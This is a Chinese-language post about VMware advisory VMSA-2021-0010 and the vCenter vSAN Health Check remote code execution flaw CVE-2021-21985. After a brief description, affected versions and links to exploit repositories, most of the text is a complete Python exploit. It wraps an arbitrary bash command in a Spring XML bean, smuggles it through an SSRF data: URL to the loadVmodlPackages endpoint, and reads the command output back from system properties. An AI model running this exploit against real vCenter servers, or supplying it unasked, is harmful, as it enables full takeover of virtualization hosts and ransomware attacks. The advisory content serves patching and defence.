VMware于2021年5月25日发布安全公告VMSA-2021-0010,其中包含了与vSphere Client (HTML5)相关的漏洞,分别为CVE-2021-21985和CVE-2021-21986。
详细信息请参考:https://www.vmware.com/security/advisories/VMSA-2021-0010.html
CVE描述:
由于Virtual SAN运行状况检查插件中缺少输入验证,因此vSphere Client(HTML5)包含一个远程执行代码漏洞,默认情况下,该插件已在vCenter Server中启用。
VMware已评估此问题的严重性在严重严重性范围内,最大CVSSv3基本得分为9.8。
已知攻击:
具有网络访问端口443的恶意行为者可能会利用此问题在托管vCenter Server的基础操作系统上以不受限制的特权执行命令。
即使组织没有在外部公开vCenter Server,一旦进入网络,攻击者仍然可以利用此漏洞。在通过其他方式(例如,鱼叉式网络钓鱼)获得对网络的访问权限之后,VMware特别呼吁勒索软件团体非常善于利用此类漏洞(例如,这种后危害)。
影响范围:
无论是否使用vSAN,默认情况下,所有vCenter Server部署中都会启用受影响的Virtual SAN运行状况检查插件。
vCenter 7.0 U2b (17958471)之前的所有版本;
vCenter 6.7 U3n(18010531)之前的所有版本;
vCenter 6.5U3p(17994927)之前的所有版本;
EXP:
https://github.com/r0ckysec/CVE-2021-21985
https://github.com/xnianq/cve-2021-21985_exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
@Author: r0cky
@Time: 2021/6/3-16:57
"""
import base64
import sys
import zipfile
from urllib.parse import urlparse
import zlib
import json
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def banner():
print("""
==============================================================
_____ _ _____ _____ ______
/ ____| | | | __ \ / ____| ____|
__ _| | ___ _ __ | |_ ___ _ __ | |__) | | | |__
\ \ / / | / _ \ '_ \| __/ _ \ '__| | _ /| | | __|
\ V /| |___| __/ | | | || __/ | | | \ \| |____| |____
\_/ \_____\___|_| |_|\__\___|_| |_| \_\\_____|______|
Powered by r0cky Team ZionLab
==============================================================
""")
def create_xml():
print("[*] Create Xml to offline_bundle.xml ...")
context = """<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[ {cmd} 2>&1 ]]></value>
</list>
</constructor-arg>
</bean>
<bean id="is" class="java.io.InputStreamReader">
<constructor-arg>
<value>#{pb.start().getInputStream()}</value>
</constructor-arg>
</bean>
<bean id="br" class="java.io.BufferedReader">
<constructor-arg>
<value>#{is}</value>
</constructor-arg>
</bean>
<bean id="collectors" class="java.util.stream.Collectors"></bean>
<bean id="system" class="java.lang.System">
<property name="whatever" value="#{ system.setProperty("output", br.lines().collect(collectors.joining("\n"))) }"/>
</bean>
</beans>
""".replace("{cmd}", cmd)
with open('offline_bundle.xml', 'w') as wf:
wf.write(context)
wf.flush()
def create_zip():
print("[*] Create Zip to offline_bundle.zip ...")
with zipfile.ZipFile('offline_bundle.zip', 'w', zipfile.ZIP_DEFLATED) as zp:
zp.write('offline_bundle.xml')
def toBase64():
with open('offline_bundle.zip', 'rb') as rf:
return base64.b64encode(rf.read())
def poc1(url):
ssrf_str = "https://localhost:443/vsanHealth/vum/driverOfflineBundle/data:text/html%3Bbase64,{}%23"
ssrf = ssrf_str.format(bytes.decode(toBase64()))
print ("[*] Get XML to SystemProperties ...")
target = url + "/ui/h5-vsan/rest/proxy/service/vmodlContext/loadVmodlPackages"
data = {"methodInput":[[ssrf]]}
r = requests.post(target, data=json.dumps(data), headers=headers, verify=False)
def poc2(url):
print("[*] getProperty ...")
target = url + "/ui/h5-vsan/rest/proxy/service/systemProperties/getProperty"
data = {"methodInput": ["output", None]}
r = requests.post(target, data=json.dumps(data), headers=headers,
verify=False)
if "result" in r.json():
print("[+] Command:", cmd)
print(r.json()['result'])
else:
print ("[-] send payload failed.")
headers = {"Content-Type": "application/json"}
def main(url):
try:
create_xml()
create_zip()
poc1(url)
poc2(url)
except:
print("[-] send payload failed.")
if __name__ == '__main__':
banner()
try:
target = sys.argv[1]
cmd = sys.argv[2]
up = urlparse(target)
target = up.scheme + "://" + up.netloc
main(target)
except:
print("Example: \n\tpython3 " + sys.argv[0] + " <target> <cmd>\n")